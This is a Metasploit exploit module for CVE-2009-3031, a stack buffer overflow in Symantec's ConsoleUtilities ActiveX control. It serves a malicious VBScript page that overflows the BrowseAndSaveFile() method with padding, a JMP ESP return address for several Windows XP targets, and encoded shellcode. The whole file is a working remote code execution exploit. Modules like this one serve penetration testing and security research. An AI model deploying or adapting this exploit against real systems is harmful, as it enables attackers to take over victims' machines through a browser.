##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
        By sending an overly long string to the "BrowseAndSaveFile()" method located
        in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
        execute arbitrary code
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
      'References'     =>
        [
          [ 'CVE', '2009-3031'],
          [ 'OSVDB', '59597'],
          [ 'BID', '36698'],
          [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1000,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English', 	    { 'Ret' => 0x7e47bcaf } ],
          [ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
          [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
          [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
        ],
      'DisclosureDate' => 'Nov 02 2009',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize variables
    vname   = rand_text_alpha(rand(20) + 1)
    junk    = rand_text_alpha(rand(20) + 1)
    eip     = rand_text_alpha(rand(20) + 1)
    morejunk = rand_text_alpha(rand(20) + 1)
    sc      = rand_text_alpha(rand(20) + 1)
    buf = rand_text_alpha(rand(20) + 1)

    # Set RET and shellcode
    ret = Rex::Text.to_unescape([target.ret].pack('V'))
    shellcode = Rex::Text.to_unescape(p.encoded)

    # Build the Site
    content = %Q|
  <html>
    <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
    <script language='vbscript'>

    #{junk}=String(310,"A")
    #{eip}=unescape("#{ret}")
    #{morejunk}=String(18, unescape("%u0041"))
    #{sc}=unescape("#{shellcode}")

    #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
    #{vname}.BrowseAndSaveFile "",#{buf},"","",""
    </script>
  </html>
    |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
